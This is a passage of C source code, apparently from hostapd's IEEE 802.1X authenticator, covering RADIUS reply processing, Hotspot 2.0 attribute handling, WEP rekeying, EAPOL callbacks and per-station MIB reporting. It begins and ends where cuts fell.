os_malloc(len); if (sta->hs20_session_info_url == NULL) return; swt = pos[0]; os_memcpy(sta->hs20_session_info_url, pos + 1, len - 1); sta->hs20_session_info_url[len - 1] = '\0'; wpa_printf(MSG_DEBUG, "HS 2.0: Session Information URL='%s' SWT=%u " "(session_timeout=%d)", sta->hs20_session_info_url, swt, session_timeout); if (session_timeout < 0) { wpa_printf(MSG_DEBUG, "HS 2.0: No Session-Timeout set - ignore session info URL"); return; } if (swt == 255) swt = 1; /* Use one minute as the AP selected value */ if ((unsigned int) session_timeout < swt * 60) warning_time = 0; else warning_time = session_timeout - swt * 60; beacon_int = hapd->iconf->beacon_int; if (beacon_int < 1) beacon_int = 100; /* best guess */ sta->hs20_disassoc_timer = swt * 60 * 1000 / beacon_int * 125 / 128; if (sta->hs20_disassoc_timer > 65535) sta->hs20_disassoc_timer = 65535; ap_sta_session_warning_timeout(hapd, sta, warning_time); } static void ieee802_1x_hs20_t_c_filtering(struct hostapd_data *hapd, struct sta_info *sta, u8 *pos, size_t len) { if (len < 4) return; /* Malformed information */ wpa_printf(MSG_DEBUG, "HS 2.0: Terms and Conditions filtering %02x %02x %02x %02x", pos[0], pos[1], pos[2], pos[3]); hs20_t_c_filtering(hapd, sta, pos[0] & BIT(0)); } #endif /* CONFIG_HS20 */ static void ieee802_1x_check_hs20(struct hostapd_data *hapd, struct sta_info *sta, struct radius_msg *msg, int session_timeout) { #ifdef CONFIG_HS20 u8 *buf, *pos, *end, type, sublen; size_t len; buf = NULL; sta->remediation = 0; sta->hs20_deauth_requested = 0; for (;;) { if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_VENDOR_SPECIFIC, &buf, &len, buf) < 0) break; if (len < 6) continue; pos = buf; end = buf + len; if (WPA_GET_BE32(pos) != RADIUS_VENDOR_ID_WFA) continue; pos += 4; type = *pos++; sublen = *pos++; if (sublen < 2) continue; /* invalid length */ sublen -= 2; /* skip header */ if (pos + sublen > end) continue; /* invalid WFA VSA */ switch (type) { case RADIUS_VENDOR_ATTR_WFA_HS20_SUBSCR_REMEDIATION: ieee802_1x_hs20_sub_rem(sta, pos, sublen); break; case RADIUS_VENDOR_ATTR_WFA_HS20_DEAUTH_REQ: ieee802_1x_hs20_deauth_req(hapd, sta, pos, sublen); break; case RADIUS_VENDOR_ATTR_WFA_HS20_SESSION_INFO_URL: ieee802_1x_hs20_session_info(hapd, sta, pos, sublen, session_timeout); break; case RADIUS_VENDOR_ATTR_WFA_HS20_T_C_FILTERING: ieee802_1x_hs20_t_c_filtering(hapd, sta, pos, sublen); break; } } #endif /* CONFIG_HS20 */ } struct sta_id_search { u8 identifier; struct eapol_state_machine *sm; }; static int ieee802_1x_select_radius_identifier(struct hostapd_data *hapd, struct sta_info *sta, void *ctx) { struct sta_id_search *id_search = ctx; struct eapol_state_machine *sm = sta->eapol_sm; if (sm && sm->radius_identifier >= 0 && sm->radius_identifier == id_search->identifier) { id_search->sm = sm; return 1; } return 0; } static struct eapol_state_machine * ieee802_1x_search_radius_identifier(struct hostapd_data *hapd, u8 identifier) { struct sta_id_search id_search; id_search.identifier = identifier; id_search.sm = NULL; ap_for_each_sta(hapd, ieee802_1x_select_radius_identifier, &id_search); return id_search.sm; } /** * ieee802_1x_receive_auth - Process RADIUS frames from Authentication Server * @msg: RADIUS response message * @req: RADIUS request message * @shared_secret: RADIUS shared secret * @shared_secret_len: Length of shared_secret in octets * @data: Context data (struct hostapd_data *) * Returns: Processing status */ static RadiusRxResult ieee802_1x_receive_auth(struct radius_msg *msg, struct radius_msg *req, const u8 *shared_secret, size_t shared_secret_len, void *data) { struct hostapd_data *hapd = data; struct sta_info *sta; u32 session_timeout = 0, termination_action, acct_interim_interval; int session_timeout_set; u32 reason_code; struct eapol_state_machine *sm; int override_eapReq = 0; struct radius_hdr *hdr = radius_msg_get_hdr(msg); struct vlan_description vlan_desc; #ifndef CONFIG_NO_VLAN int *untagged, *tagged, *notempty; #endif /* CONFIG_NO_VLAN */ os_memset(&vlan_desc, 0, sizeof(vlan_desc)); sm = ieee802_1x_search_radius_identifier(hapd, hdr->identifier); if (sm == NULL) { wpa_printf(MSG_DEBUG, "IEEE 802.1X: Could not find matching " "station for this RADIUS message"); return RADIUS_RX_UNKNOWN; } sta = sm->sta; /* RFC 2869, Ch. 5.13: valid Message-Authenticator attribute MUST be * present when packet contains an EAP-Message attribute */ if (hdr->code == RADIUS_CODE_ACCESS_REJECT && radius_msg_get_attr(msg, RADIUS_ATTR_MESSAGE_AUTHENTICATOR, NULL, 0) < 0 && radius_msg_get_attr(msg, RADIUS_ATTR_EAP_MESSAGE, NULL, 0) < 0) { wpa_printf(MSG_DEBUG, "Allowing RADIUS Access-Reject without " "Message-Authenticator since it does not include " "EAP-Message"); } else if (radius_msg_verify(msg, shared_secret, shared_secret_len, req, 1)) { wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have correct Message-Authenticator - dropped"); return RADIUS_RX_INVALID_AUTHENTICATOR; } if (hdr->code != RADIUS_CODE_ACCESS_ACCEPT && hdr->code != RADIUS_CODE_ACCESS_REJECT && hdr->code != RADIUS_CODE_ACCESS_CHALLENGE) { wpa_printf(MSG_INFO, "Unknown RADIUS message code"); return RADIUS_RX_UNKNOWN; } sm->radius_identifier = -1; wpa_printf(MSG_DEBUG, "RADIUS packet matching with station " MACSTR, MAC2STR(sta->addr)); radius_msg_free(sm->last_recv_radius); sm->last_recv_radius = msg; session_timeout_set = !radius_msg_get_attr_int32(msg, RADIUS_ATTR_SESSION_TIMEOUT, &session_timeout); if (radius_msg_get_attr_int32(msg, RADIUS_ATTR_TERMINATION_ACTION, &termination_action)) termination_action = RADIUS_TERMINATION_ACTION_DEFAULT; if (hapd->conf->acct_interim_interval == 0 && hdr->code == RADIUS_CODE_ACCESS_ACCEPT && radius_msg_get_attr_int32(msg, RADIUS_ATTR_ACCT_INTERIM_INTERVAL, &acct_interim_interval) == 0) { if (acct_interim_interval < 60) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_INFO, "ignored too small " "Acct-Interim-Interval %d", acct_interim_interval); } else sta->acct_interim_interval = acct_interim_interval; } switch (hdr->code) { case RADIUS_CODE_ACCESS_ACCEPT: #ifndef CONFIG_NO_VLAN if (hapd->conf->ssid.dynamic_vlan != DYNAMIC_VLAN_DISABLED) { notempty = &vlan_desc.notempty; untagged = &vlan_desc.untagged; tagged = vlan_desc.tagged; *notempty = !!radius_msg_get_vlanid(msg, untagged, MAX_NUM_TAGGED_VLAN, tagged); } if (vlan_desc.notempty && !hostapd_vlan_valid(hapd->conf->vlan, &vlan_desc)) { sta->eapol_sm->authFail = TRUE; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "Invalid VLAN %d%s received from RADIUS server", vlan_desc.untagged, vlan_desc.tagged[0] ? "+" : ""); os_memset(&vlan_desc, 0, sizeof(vlan_desc)); ap_sta_set_vlan(hapd, sta, &vlan_desc); break; } if (hapd->conf->ssid.dynamic_vlan == DYNAMIC_VLAN_REQUIRED && !vlan_desc.notempty) { sta->eapol_sm->authFail = TRUE; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_INFO, "authentication " "server did not include required VLAN " "ID in Access-Accept"); break; } #endif /* CONFIG_NO_VLAN */ if (ap_sta_set_vlan(hapd, sta, &vlan_desc) < 0) break; #ifndef CONFIG_NO_VLAN if (sta->vlan_id > 0) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, HOSTAPD_LEVEL_INFO, "VLAN ID %d", sta->vlan_id); } #endif /* CONFIG_NO_VLAN */ if ((sta->flags & WLAN_STA_ASSOC) && ap_sta_bind_vlan(hapd, sta) < 0) break; sta->session_timeout_set = !!session_timeout_set; os_get_reltime(&sta->session_timeout); sta->session_timeout.sec += session_timeout; /* RFC 3580, Ch. 3.17 */ if (session_timeout_set && termination_action == RADIUS_TERMINATION_ACTION_RADIUS_REQUEST) sm->reAuthPeriod = session_timeout; else if (session_timeout_set) ap_sta_session_timeout(hapd, sta, session_timeout); else ap_sta_no_session_timeout(hapd, sta); sm->eap_if->aaaSuccess = TRUE; override_eapReq = 1; ieee802_1x_get_keys(hapd, sta, msg, req, shared_secret, shared_secret_len); ieee802_1x_store_radius_class(hapd, sta, msg); ieee802_1x_update_sta_identity(hapd, sta, msg); ieee802_1x_update_sta_cui(hapd, sta, msg); ieee802_1x_check_hs20(hapd, sta, msg, session_timeout_set ? (int) session_timeout : -1); break; case RADIUS_CODE_ACCESS_REJECT: sm->eap_if->aaaFail = TRUE; override_eapReq = 1; if (radius_msg_get_attr_int32(msg, RADIUS_ATTR_WLAN_REASON_CODE, &reason_code) == 0) { wpa_printf(MSG_DEBUG, "RADIUS server indicated WLAN-Reason-Code %u in Access-Reject for " MACSTR, reason_code, MAC2STR(sta->addr)); sta->disconnect_reason_code = reason_code; } break; case RADIUS_CODE_ACCESS_CHALLENGE: sm->eap_if->aaaEapReq = TRUE; if (session_timeout_set) { /* RFC 2869, Ch. 2.3.2; RFC 3580, Ch. 3.17 */ sm->eap_if->aaaMethodTimeout = session_timeout; hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "using EAP timeout of %d seconds (from " "RADIUS)", sm->eap_if->aaaMethodTimeout); } else { /* * Use dynamic retransmission behavior per EAP * specification. */ sm->eap_if->aaaMethodTimeout = 0; } break; } ieee802_1x_decapsulate_radius(hapd, sta); if (override_eapReq) sm->eap_if->aaaEapReq = FALSE; #ifdef CONFIG_FILS #ifdef NEED_AP_MLME if (sta->flags & WLAN_STA_PENDING_FILS_ERP) { /* TODO: Add a PMKSA entry on success? */ ieee802_11_finish_fils_auth( hapd, sta, hdr->code == RADIUS_CODE_ACCESS_ACCEPT, sm->eap_if->aaaEapReqData, sm->eap_if->aaaEapKeyData, sm->eap_if->aaaEapKeyDataLen); } #endif /* NEED_AP_MLME */ #endif /* CONFIG_FILS */ eapol_auth_step(sm); return RADIUS_RX_QUEUED; } #endif /* CONFIG_NO_RADIUS */ void ieee802_1x_abort_auth(struct hostapd_data *hapd, struct sta_info *sta) { struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "aborting authentication"); #ifndef CONFIG_NO_RADIUS radius_msg_free(sm->last_recv_radius); sm->last_recv_radius = NULL; #endif /* CONFIG_NO_RADIUS */ if (sm->eap_if->eapTimeout) { /* * Disconnect the STA since it did not reply to the last EAP * request and we cannot continue EAP processing (EAP-Failure * could only be sent if the EAP peer actually replied). */ wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "EAP Timeout, STA " MACSTR, MAC2STR(sta->addr)); sm->eap_if->portEnabled = FALSE; ap_sta_disconnect(hapd, sta, sta->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); } } static int ieee802_1x_rekey_broadcast(struct hostapd_data *hapd) { struct eapol_authenticator *eapol = hapd->eapol_auth; if (hapd->conf->default_wep_key_len < 1) return 0; os_free(eapol->default_wep_key); eapol->default_wep_key = os_malloc(hapd->conf->default_wep_key_len); if (eapol->default_wep_key == NULL || random_get_bytes(eapol->default_wep_key, hapd->conf->default_wep_key_len)) { wpa_printf(MSG_INFO, "Could not generate random WEP key"); os_free(eapol->default_wep_key); eapol->default_wep_key = NULL; return -1; } wpa_hexdump_key(MSG_DEBUG, "IEEE 802.1X: New default WEP key", eapol->default_wep_key, hapd->conf->default_wep_key_len); return 0; } static int ieee802_1x_sta_key_available(struct hostapd_data *hapd, struct sta_info *sta, void *ctx) { if (sta->eapol_sm) { sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; eapol_auth_step(sta->eapol_sm); } return 0; } static void ieee802_1x_rekey(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct eapol_authenticator *eapol = hapd->eapol_auth; if (eapol->default_wep_key_idx >= 3) eapol->default_wep_key_idx = hapd->conf->individual_wep_key_len > 0 ? 1 : 0; else eapol->default_wep_key_idx++; wpa_printf(MSG_DEBUG, "IEEE 802.1X: New default WEP key index %d", eapol->default_wep_key_idx); if (ieee802_1x_rekey_broadcast(hapd)) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_WARNING, "failed to generate a " "new broadcast key"); os_free(eapol->default_wep_key); eapol->default_wep_key = NULL; return; } /* TODO: Could setup key for RX here, but change default TX keyid only * after new broadcast key has been sent to all stations. */ if (hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, broadcast_ether_addr, eapol->default_wep_key_idx, 1, NULL, 0, eapol->default_wep_key, hapd->conf->default_wep_key_len)) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_WARNING, "failed to configure a " "new broadcast key"); os_free(eapol->default_wep_key); eapol->default_wep_key = NULL; return; } ap_for_each_sta(hapd, ieee802_1x_sta_key_available, NULL); if (hapd->conf->wep_rekeying_period > 0) { eloop_register_timeout(hapd->conf->wep_rekeying_period, 0, ieee802_1x_rekey, hapd, NULL); } } static void ieee802_1x_eapol_send(void *ctx, void *sta_ctx, u8 type, const u8 *data, size_t datalen) { #ifdef CONFIG_WPS struct sta_info *sta = sta_ctx; if ((sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS)) == WLAN_STA_MAYBE_WPS) { const u8 *identity; size_t identity_len; struct eapol_state_machine *sm = sta->eapol_sm; identity = eap_get_identity(sm->eap, &identity_len); if (identity && ((identity_len == WSC_ID_ENROLLEE_LEN && os_memcmp(identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN) == 0) || (identity_len == WSC_ID_REGISTRAR_LEN && os_memcmp(identity, WSC_ID_REGISTRAR, WSC_ID_REGISTRAR_LEN) == 0))) { wpa_printf(MSG_DEBUG, "WPS: WLAN_STA_MAYBE_WPS -> " "WLAN_STA_WPS"); sta->flags |= WLAN_STA_WPS; } } #endif /* CONFIG_WPS */ ieee802_1x_send(ctx, sta_ctx, type, data, datalen); } static void ieee802_1x_aaa_send(void *ctx, void *sta_ctx, const u8 *data, size_t datalen) { #ifndef CONFIG_NO_RADIUS struct hostapd_data *hapd = ctx; struct sta_info *sta = sta_ctx; ieee802_1x_encapsulate_radius(hapd, sta, data, datalen); #endif /* CONFIG_NO_RADIUS */ } static void _ieee802_1x_finished(void *ctx, void *sta_ctx, int success, int preauth, int remediation) { struct hostapd_data *hapd = ctx; struct sta_info *sta = sta_ctx; if (preauth) rsn_preauth_finished(hapd, sta, success); else ieee802_1x_finished(hapd, sta, success, remediation); } static int ieee802_1x_get_eap_user(void *ctx, const u8 *identity, size_t identity_len, int phase2, struct eap_user *user) { struct hostapd_data *hapd = ctx; const struct hostapd_eap_user *eap_user; int i; int rv = -1; eap_user = hostapd_get_eap_user(hapd, identity, identity_len, phase2); if (eap_user == NULL) goto out; os_memset(user, 0, sizeof(*user)); user->phase2 = phase2; for (i = 0; i < EAP_MAX_METHODS; i++) { user->methods[i].vendor = eap_user->methods[i].vendor; user->methods[i].method = eap_user->methods[i].method; } if (eap_user->password) { user->password = os_memdup(eap_user->password, eap_user->password_len); if (user->password == NULL) goto out; user->password_len = eap_user->password_len; user->password_hash = eap_user->password_hash; if (eap_user->salt && eap_user->salt_len) { user->salt = os_memdup(eap_user->salt, eap_user->salt_len); if (!user->salt) goto out; user->salt_len = eap_user->salt_len; } } user->force_version = eap_user->force_version; user->macacl = eap_user->macacl; user->ttls_auth = eap_user->ttls_auth; user->remediation = eap_user->remediation; rv = 0; out: if (rv) wpa_printf(MSG_DEBUG, "%s: Failed to find user", __func__); return rv; } static int ieee802_1x_sta_entry_alive(void *ctx, const u8 *addr) { struct hostapd_data *hapd = ctx; struct sta_info *sta; sta = ap_get_sta(hapd, addr); if (sta == NULL || sta->eapol_sm == NULL) return 0; return 1; } static void ieee802_1x_logger(void *ctx, const u8 *addr, eapol_logger_level level, const char *txt) { #ifndef CONFIG_NO_HOSTAPD_LOGGER struct hostapd_data *hapd = ctx; int hlevel; switch (level) { case EAPOL_LOGGER_WARNING: hlevel = HOSTAPD_LEVEL_WARNING; break; case EAPOL_LOGGER_INFO: hlevel = HOSTAPD_LEVEL_INFO; break; case EAPOL_LOGGER_DEBUG: default: hlevel = HOSTAPD_LEVEL_DEBUG; break; } hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE8021X, hlevel, "%s", txt); #endif /* CONFIG_NO_HOSTAPD_LOGGER */ } static void ieee802_1x_set_port_authorized(void *ctx, void *sta_ctx, int authorized) { struct hostapd_data *hapd = ctx; struct sta_info *sta = sta_ctx; ieee802_1x_set_sta_authorized(hapd, sta, authorized); } static void _ieee802_1x_abort_auth(void *ctx, void *sta_ctx) { struct hostapd_data *hapd = ctx; struct sta_info *sta = sta_ctx; ieee802_1x_abort_auth(hapd, sta); } static void _ieee802_1x_tx_key(void *ctx, void *sta_ctx) { #ifndef CONFIG_FIPS #ifndef CONFIG_NO_RC4 struct hostapd_data *hapd = ctx; struct sta_info *sta = sta_ctx; ieee802_1x_tx_key(hapd, sta); #endif /* CONFIG_NO_RC4 */ #endif /* CONFIG_FIPS */ } static void ieee802_1x_eapol_event(void *ctx, void *sta_ctx, enum eapol_event type) { /* struct hostapd_data *hapd = ctx; */ struct sta_info *sta = sta_ctx; switch (type) { case EAPOL_AUTH_SM_CHANGE: wpa_auth_sm_notify(sta->wpa_sm); break; case EAPOL_AUTH_REAUTHENTICATE: wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH_EAPOL); break; } } #ifdef CONFIG_ERP static struct eap_server_erp_key * ieee802_1x_erp_get_key(void *ctx, const char *keyname) { struct hostapd_data *hapd = ctx; struct eap_server_erp_key *erp; dl_list_for_each(erp, &hapd->erp_keys, struct eap_server_erp_key, list) { if (os_strcmp(erp->keyname_nai, keyname) == 0) return erp; } return NULL; } static int ieee802_1x_erp_add_key(void *ctx, struct eap_server_erp_key *erp) { struct hostapd_data *hapd = ctx; dl_list_add(&hapd->erp_keys, &erp->list); return 0; } #endif /* CONFIG_ERP */ int ieee802_1x_init(struct hostapd_data *hapd) { int i; struct eapol_auth_config conf; struct eapol_auth_cb cb; dl_list_init(&hapd->erp_keys); os_memset(&conf, 0, sizeof(conf)); conf.ctx = hapd; conf.eap_reauth_period = hapd->conf->eap_reauth_period; conf.wpa = hapd->conf->wpa; conf.individual_wep_key_len = hapd->conf->individual_wep_key_len; conf.eap_server = hapd->conf->eap_server; conf.ssl_ctx = hapd->ssl_ctx; conf.msg_ctx = hapd->msg_ctx; conf.eap_sim_db_priv = hapd->eap_sim_db_priv; conf.eap_req_id_text = hapd->conf->eap_req_id_text; conf.eap_req_id_text_len = hapd->conf->eap_req_id_text_len; conf.erp_send_reauth_start = hapd->conf->erp_send_reauth_start; conf.erp_domain = hapd->conf->erp_domain; conf.erp = hapd->conf->eap_server_erp; conf.tls_session_lifetime = hapd->conf->tls_session_lifetime; conf.tls_flags = hapd->conf->tls_flags; conf.pac_opaque_encr_key = hapd->conf->pac_opaque_encr_key; conf.eap_fast_a_id = hapd->conf->eap_fast_a_id; conf.eap_fast_a_id_len = hapd->conf->eap_fast_a_id_len; conf.eap_fast_a_id_info = hapd->conf->eap_fast_a_id_info; conf.eap_fast_prov = hapd->conf->eap_fast_prov; conf.pac_key_lifetime = hapd->conf->pac_key_lifetime; conf.pac_key_refresh_time = hapd->conf->pac_key_refresh_time; conf.eap_sim_aka_result_ind = hapd->conf->eap_sim_aka_result_ind; conf.tnc = hapd->conf->tnc; conf.wps = hapd->wps; conf.fragment_size = hapd->conf->fragment_size; conf.pwd_group = hapd->conf->pwd_group; conf.pbc_in_m1 = hapd->conf->pbc_in_m1; if (hapd->conf->server_id) { conf.server_id = (const u8 *) hapd->conf->server_id; conf.server_id_len = os_strlen(hapd->conf->server_id); } else { conf.server_id = (const u8 *) "hostapd"; conf.server_id_len = 7; } os_memset(&cb, 0, sizeof(cb)); cb.eapol_send = ieee802_1x_eapol_send; cb.aaa_send = ieee802_1x_aaa_send; cb.finished = _ieee802_1x_finished; cb.get_eap_user = ieee802_1x_get_eap_user; cb.sta_entry_alive = ieee802_1x_sta_entry_alive; cb.logger = ieee802_1x_logger; cb.set_port_authorized = ieee802_1x_set_port_authorized; cb.abort_auth = _ieee802_1x_abort_auth; cb.tx_key = _ieee802_1x_tx_key; cb.eapol_event = ieee802_1x_eapol_event; #ifdef CONFIG_ERP cb.erp_get_key = ieee802_1x_erp_get_key; cb.erp_add_key = ieee802_1x_erp_add_key; #endif /* CONFIG_ERP */ hapd->eapol_auth = eapol_auth_init(&conf, &cb); if (hapd->eapol_auth == NULL) return -1; if ((hapd->conf->ieee802_1x || hapd->conf->wpa) && hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 1)) return -1; #ifndef CONFIG_NO_RADIUS if (radius_client_register(hapd->radius, RADIUS_AUTH, ieee802_1x_receive_auth, hapd)) return -1; #endif /* CONFIG_NO_RADIUS */ if (hapd->conf->default_wep_key_len) { for (i = 0; i < 4; i++) hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_NONE, NULL, i, 0, NULL, 0, NULL, 0); ieee802_1x_rekey(hapd, NULL); if (hapd->eapol_auth->default_wep_key == NULL) return -1; } return 0; } void ieee802_1x_erp_flush(struct hostapd_data *hapd) { struct eap_server_erp_key *erp; while ((erp = dl_list_first(&hapd->erp_keys, struct eap_server_erp_key, list)) != NULL) { dl_list_del(&erp->list); bin_clear_free(erp, sizeof(*erp)); } } void ieee802_1x_deinit(struct hostapd_data *hapd) { eloop_cancel_timeout(ieee802_1x_rekey, hapd, NULL); if (hapd->driver && hapd->drv_priv && (hapd->conf->ieee802_1x || hapd->conf->wpa)) hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 0); eapol_auth_deinit(hapd->eapol_auth); hapd->eapol_auth = NULL; ieee802_1x_erp_flush(hapd); } int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, const u8 *buf, size_t len, int ack) { struct ieee80211_hdr *hdr; u8 *pos; const unsigned char rfc1042_hdr[ETH_ALEN] = { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00 }; if (sta == NULL) return -1; if (len < sizeof(*hdr) + sizeof(rfc1042_hdr) + 2) return 0; hdr = (struct ieee80211_hdr *) buf; pos = (u8 *) (hdr + 1); if (os_memcmp(pos, rfc1042_hdr, sizeof(rfc1042_hdr)) != 0) return 0; pos += sizeof(rfc1042_hdr); if (WPA_GET_BE16(pos) != ETH_P_PAE) return 0; pos += 2; return ieee802_1x_eapol_tx_status(hapd, sta, pos, buf + len - pos, ack); } int ieee802_1x_eapol_tx_status(struct hostapd_data *hapd, struct sta_info *sta, const u8 *buf, int len, int ack) { const struct ieee802_1x_hdr *xhdr = (const struct ieee802_1x_hdr *) buf; const u8 *pos = buf + sizeof(*xhdr); struct ieee802_1x_eapol_key *key; if (len < (int) sizeof(*xhdr)) return 0; wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR " TX status - version=%d " "type=%d length=%d - ack=%d", MAC2STR(sta->addr), xhdr->version, xhdr->type, be_to_host16(xhdr->length), ack); #ifdef CONFIG_WPS if (xhdr->type == IEEE802_1X_TYPE_EAP_PACKET && ack && (sta->flags & WLAN_STA_WPS) && ap_sta_pending_delayed_1x_auth_fail_disconnect(hapd, sta)) { wpa_printf(MSG_DEBUG, "WPS: Indicate EAP completion on ACK for EAP-Failure"); hostapd_wps_eap_completed(hapd); } #endif /* CONFIG_WPS */ if (xhdr->type != IEEE802_1X_TYPE_EAPOL_KEY) return 0; if (pos + sizeof(struct wpa_eapol_key) <= buf + len) { const struct wpa_eapol_key *wpa; wpa = (const struct wpa_eapol_key *) pos; if (wpa->type == EAPOL_KEY_TYPE_RSN || wpa->type == EAPOL_KEY_TYPE_WPA) wpa_auth_eapol_key_tx_status(hapd->wpa_auth, sta->wpa_sm, ack); } /* EAPOL EAP-Packet packets are eventually re-sent by either Supplicant * or Authenticator state machines, but EAPOL-Key packets are not * retransmitted in case of failure. Try to re-send failed EAPOL-Key * packets couple of times because otherwise STA keys become * unsynchronized with AP. */ if (!ack && pos + sizeof(*key) <= buf + len) { key = (struct ieee802_1x_eapol_key *) pos; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "did not Ack EAPOL-Key " "frame (%scast index=%d)", key->key_index & BIT(7) ? "uni" : "broad", key->key_index & ~BIT(7)); /* TODO: re-send EAPOL-Key couple of times (with short delay * between them?). If all attempt fail, report error and * deauthenticate STA so that it will get new keys when * authenticating again (e.g., after returning in range). * Separate limit/transmit state needed both for unicast and * broadcast keys(?) */ } /* TODO: could move unicast key configuration from ieee802_1x_tx_key() * to here and change the key only if the EAPOL-Key packet was Acked. */ return 1; } u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len) { if (sm == NULL || sm->identity == NULL) return NULL; *len = sm->identity_len; return sm->identity; } u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, int idx) { if (sm == NULL || sm->radius_class.attr == NULL || idx >= (int) sm->radius_class.count) return NULL; *len = sm->radius_class.attr[idx].len; return sm->radius_class.attr[idx].data; } struct wpabuf * ieee802_1x_get_radius_cui(struct eapol_state_machine *sm) { if (sm == NULL) return NULL; return sm->radius_cui; } const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len) { *len = 0; if (sm == NULL) return NULL; *len = sm->eap_if->eapKeyDataLen; return sm->eap_if->eapKeyData; } void ieee802_1x_notify_port_enabled(struct eapol_state_machine *sm, int enabled) { if (sm == NULL) return; sm->eap_if->portEnabled = enabled ? TRUE : FALSE; eapol_auth_step(sm); } void ieee802_1x_notify_port_valid(struct eapol_state_machine *sm, int valid) { if (sm == NULL) return; sm->portValid = valid ? TRUE : FALSE; eapol_auth_step(sm); } void ieee802_1x_notify_pre_auth(struct eapol_state_machine *sm, int pre_auth) { if (sm == NULL) return; if (pre_auth) sm->flags |= EAPOL_SM_PREAUTH; else sm->flags &= ~EAPOL_SM_PREAUTH; } static const char * bool_txt(Boolean val) { return val ? "TRUE" : "FALSE"; } int ieee802_1x_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen) { /* TODO */ return 0; } int ieee802_1x_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { int len = 0, ret; struct eapol_state_machine *sm = sta->eapol_sm; struct os_reltime diff; const char *name1; const char *name2; if (sm == NULL) return 0; ret = os_snprintf(buf + len, buflen - len, "dot1xPaePortNumber=%d\n" "dot1xPaePortProtocolVersion=%d\n" "dot1xPaePortCapabilities=1\n" "dot1xPaePortInitialize=%d\n" "dot1xPaePortReauthenticate=FALSE\n", sta->aid, EAPOL_VERSION, sm->initialize); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* dot1xAuthConfigTable */ ret = os_snprintf(buf + len, buflen - len, "dot1xAuthPaeState=%d\n" "dot1xAuthBackendAuthState=%d\n" "dot1xAuthAdminControlledDirections=%d\n" "dot1xAuthOperControlledDirections=%d\n" "dot1xAuthAuthControlledPortStatus=%d\n" "dot1xAuthAuthControlledPortControl=%d\n" "dot1xAuthQuietPeriod=%u\n" "dot1xAuthServerTimeout=%u\n" "dot1xAuthReAuthPeriod=%u\n" "dot1xAuthReAuthEnabled=%s\n" "dot1xAuthKeyTxEnabled=%s\n", sm->auth_pae_state + 1, sm->be_auth_state + 1, sm->adminControlledDirections, sm->operControlledDirections, sm->authPortStatus, sm->portControl, sm->quietPeriod, sm->serverTimeout, sm->reAuthPeriod, bool_txt(sm->reAuthEnabled), bool_txt(sm->keyTxEnabled)); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* dot1xAuthStatsTable */ ret = os_snprintf(buf + len, buflen - len, "dot1xAuthEapolFramesRx=%u\n" "dot1xAuthEapolFramesTx=%u\n" "dot1xAuthEapolStartFramesRx=%u\n" "dot1xAuthEapolLogoffFramesRx=%u\n" "dot1xAuthEapolRespIdFramesRx=%u\n" "dot1xAuthEapolRespFramesRx=%u\n" "dot1xAuthEapolReqIdFramesTx=%u\n" "dot1xAuthEapolReqFramesTx=%u\n" "dot1xAuthInvalidEapolFramesRx=%u\n" "dot1xAuthEapLengthErrorFramesRx=%u\n" "dot1xAuthLastEapolFrameVersion=%u\n" "dot1xAuthLastEapolFrameSource=" MACSTR "\n", sm->dot1xAuthEapolFramesRx, sm->dot1xAuthEapolFramesTx, sm->dot1xAuthEapolStartFramesRx, sm->dot1xAuthEapolLogoffFramesRx, sm->dot1xAuthEapolRespIdFramesRx, sm->dot1xAuthEapolRespFramesRx, sm->dot1xAuthEapolReqIdFramesTx, sm->dot1xAuthEapolReqFramesTx, sm->dot1xAuthInvalidEapolFramesRx, sm->dot1xAuthEapLengthErrorFramesRx, sm->dot1xAuthLastEapolFrameVersion, MAC2STR(sm->addr)); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* dot1xAuthDiagTable */ ret = os_snprintf(buf + len, buflen - len, "dot1xAuthEntersConnecting=%u\n" "dot1xAuthEapLogoffsWhileConnecting=%u\n" "dot1xAuthEntersAuthenticating=%u\n" "dot1xAuthAuthSuccessesWhileAuthenticating=%u\n" "dot1xAuthAuthTimeoutsWhileAuthenticating=%u\n" "dot1xAuthAuthFailWhileAuthenticating=%u\n" "dot1xAuthAuthEapStartsWhileAuthenticating=%u\n" 